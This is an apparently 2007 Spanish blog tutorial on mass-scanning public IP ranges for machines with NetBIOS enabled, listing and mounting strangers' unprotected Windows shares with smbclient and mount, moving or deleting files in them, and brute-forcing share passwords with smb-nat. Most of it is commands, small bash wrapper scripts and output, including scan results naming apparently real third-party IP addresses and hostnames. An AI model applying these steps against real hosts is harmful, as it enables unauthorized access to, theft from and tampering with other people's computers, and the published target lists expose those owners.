11/28/2007


Montando directorios compartidos en Internet por (culpa) Netbios en Gnu/Linux =)

Montando directorios compartidos en Internet por (culpa) Netbios en Gnu/Linux =)

Utilidad de Netbios según Wikipedia.

Resumiendo, de forma sencilla, NetBIOS, permite a las aplicaciones 'hablar' con la red. Su intención es conseguir aislar los programas de aplicación de cualquier tipo de dependencia del hardware. También evita que los desarrolladores de software tengan que desarrollar rutinas de recuperación ante errores o de enrutamiento o direccionamiento de mensajes a bajo nivel. Coloquialmente hablando, NetBIOS hace el 'trabajo sucio'.
..................................................................................................................

Hace mucho tiempo había observado la cantidad de maquinas que se conectaban a internet con Netbios habilitado, la verdad me sorprendió demasiado, pero actualmente las cosas no cambiaron mucho.
Aquella vez había escaneado con una herramienta en Window$, si... no conocía Gnu/Linux todavía =P. Y bueno hoy le voy a demostrar que se puede conseguir los mismos resultados...

------------------------------------------------------------------------------------------------------------

Para comenzar necesitamos tener instalado smbclient y smbfs, si estan en debian le dan

apt-get install smbclient smbfs

Primero escaneamos maquinas que tengan netbios activado con el programa nbtscan.

zh3ta@debian:~$ nbtscan 201.255.0.0/16
Doing NBT name scan for addresses from 201.255.0.0/16

IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
201.255.36.237 44:45:53:54:00:00
201.255.68.11 PC_WIN98 PC_WIN98 44:45:53:54:00:00
201.255.68.32 CONSULTORIO 00:0d:87:51:73:24
201.255.77.182 SILVIA SILVIA 44:45:53:54:00:00
201.255.77.249 A1 A 44:45:53:54:00:00
201.255.78.89 DESKTOP 00:53:45:00:00:00
201.255.91.84 URRUTTIA URRUTTIA 44:45:53:54:00:00
201.255.97.221 44:45:53:54:00:00
201.255.136.251 WIN98SE WIN98SE 44:45:53:54:00:00
201.255.146.41 DESKTOP 00:53:45:00:00:00
201.255.160.235 VD-A51EF1B760FA 00:53:45:00:00:00
201.255.161.28 VICTORIA-CASA 00:1a:92:cc:b4:dc
201.255.236.217 OSCAR OSCAR 00:0b:6a:d9:d2:f5
201.255.254.224 44:45:53:54:00:00
201.255.255.43 OEMCOMPUTER OEMCOMPUTER 44:45:53:54:00:00

Si quieren mas informacion le agregan el parametro -v.

zh3ta@debian:~$ nbtscan -v 201.255.0.0/16
Doing NBT name scan for addresses from 201.255.0.0/16


NetBIOS Name Table for Host 201.255.64.96:

Name Service Type
----------------------------------------
LUNAROMA <00> UNIQUE
WORKGROUP <00> GROUP
LUNAROMA <03> UNIQUE

Adapter address: 44:45:53:54:00:00
----------------------------------------


NetBIOS Name Table for Host 201.255.144.107:

Name Service Type
----------------------------------------
X5Y5N8 <00> UNIQUE
WORKGROUP <00> GROUP
X5Y5N8 <03> UNIQUE

Adapter address: 44:45:53:54:00:00

Luego elegimos una ip y utilizamos smbclient para comprobar si comparte recursos. El parámetro -L le indica que liste los mismos y el -N que no pida contraseña.

debian:/home/zh3ta# smbclient -L 201.250.49.249 -N
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Impresora Printer Macromedia FlashPaper
hpdeskje.2 Printer hp deskjet 3500 series (Copiar 1)
IPC$ IPC IPC remota
print$ Disk Controladores de impresora
C Disk
Documentos c Disk
F Disk
Administrador Disk
session request to 201.250.49.249 failed (Called name not present)
session request to 201 failed (Called name not present)
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment
--------- -------

Workgroup Master
--------- -------
debian:/home/zh3ta#

Si nos sale eso y les sale algo como acontinuacion quiere decir que no tiene todos los puertos habitados o nose que =P, van a tener que seguir buscando.

debian:/home/zh3ta# smbclient -L 201.250.102.224 -N
session request to 201.250.102.224 failed (Called name not present)
session request to 201 failed (Called name not present)
session request to *SMBSERVER failed (Called name not present)


Si la ip tiene recuersos para compartir entonces pueden montarlos =).

debian:/home# mount -t smbfs //$1/$2 /media/samba/

Donde $1 es la ip y $2 es el directorio montar. Ejemplo:

debian:/home/zh3ta# mount -t smbfs // 201.250.49.249/$IPC /media/samba/

Si nos salta esto:

debian:/home/zh3ta# mount -t smbfs //201.250.49.249/$IPC /media/samba/
Password:
14247: tree connect failed: ERRDOS - ERRnosuchshare (You specified an invalid share name)
SMB connection failed

Quiere decir que necesitamos el password...por lo tanto seguiremos buscando en otro directorio o con un ataque de fuerza bruta...como quieran.
En cambio si no le salta el mensaje de error, habrá montado el directorio sin problemas =).

debian:/home/zh3ta# mount -t smbfs //201.250.49.249/F /media/samba/
Password:
debian:/home/zh3ta#

Despues nos movemos en el directorio como cualquier otro.

debian:/home/zh3ta# cd /media/samba/
debian:/media/samba# ls
AITEMP CONFIG.SYS Mp3 RECYCLER
AUTOEXEC.BAT IO.SYS MSDOS.SYS System Volume Information
debian:/media/sabado#

Y bueno ahi dentro podemos subir o bajar cosas como cualquier directorio, cp, mv, rm etc.

Para simplificar las cosas cree unos scripts burdos en bash que pueden ser mejorados obviamente jeje.

Ver recursos compartidos:

#!/bin/bash
smbclient -L "$1" -N

despues le damos permisos de ejecucion chmod +x versmb y lo ejecutamos.

debian:/home/zh3ta# ./versmb 201.250.49.249
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Impresora Printer Macromedia FlashPaper
hpdeskje.2 Printer hp deskjet 3500 series (Copiar 1)
IPC$ IPC IPC remota
print$ Disk Controladores de impresora
C Disk
Documentos c Disk
F Disk
Administrador Disk

Montar Directorios:

#!/bin/bash
mount -t smbfs //$1/$2 /media/samba/

y lo ejecutamos asi, primero la ip y despues el directorio a montar:

debian:/home/zh3ta# ./montarsmb 201.250.49.249 C

Por ultimo hay un programita que se llama smb-nat(Netbios Auditing Tool) que es tipo un brute force. Para utilizarlo lo instalamos:

debian:/home/zh3ta# apt-get install smb-nat

Y lo ejecutamos:

debian:/home/zh3ta# smb-nat -u /usr/share/smb-nat/userlist.txt -p /usr/share/smb-nat/passlist.txt 201.250.49.249

debian:/home/zh3ta# ./auditarsmb 201.250.49.249
[*]--- Reading usernames from /usr/share/smb-nat/userlist.txt
[*]--- Reading passwords from /usr/share/smb-nat/passlist.txt

[*]--- Checking host: 201.250.49.249
[*]--- Obtaining list of remote NetBIOS names
[*]--- Remote systems name tables:

DESKTOP
WORKGROUP
DESKTOP
WORKGROUP
WORKGROUP
__MSBROWSE__

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: DESKTOP
[*]--- CONNECTED with name: DESKTOP
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Wed Nov 28 23:09:12 2007
[*]--- Timezone is UTC-3.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to establish session

[*]--- Attempting to access share: \\DESKTOP\
[*]--- Unable to access


/usr/share/smb-nat/userlist.txt : es donde se encuentra las combinaciones posibles para el nombre de usuario, obviamente podremos agregarle lo que queramos, este path es solo para debian.

/usr/share/smb-nat/passlist.txt: idem del anterior, solo para las contraseñas.

$IP: es la ip que queremos auditar.

Recomendación:

El nbtscan es algo imperfecto porque verifica si el puerto 139 se encuentra abierto, pero eso no quiere decir que esa maquina comparta los recuersos. Si quieren altas probabilidades de obtener exito, necesitaran escanear con el nmap con el parametro -p 137-139, de esta manera encontrarán maquinas "mas" vulnerables.

Listado de Puertos Netbios:

netbios-ns 137/tcp NETBIOS Name Service
netbios-ns 137/udp NETBIOS Name Service
netbios-dgm 138/tcp NETBIOS Datagram Service
netbios-dgm 138/udp NETBIOS Datagram Service
netbios-ssn 139/tcp NETBIOS Session Service
netbios-ssn 139/udp NETBIOS Session Service


No me hago responsable por el uso que le puedan dar al documento, este fué escrito con motivos didácticos.

Bueno espero que les halla gustado, chau.!

0 comentarios: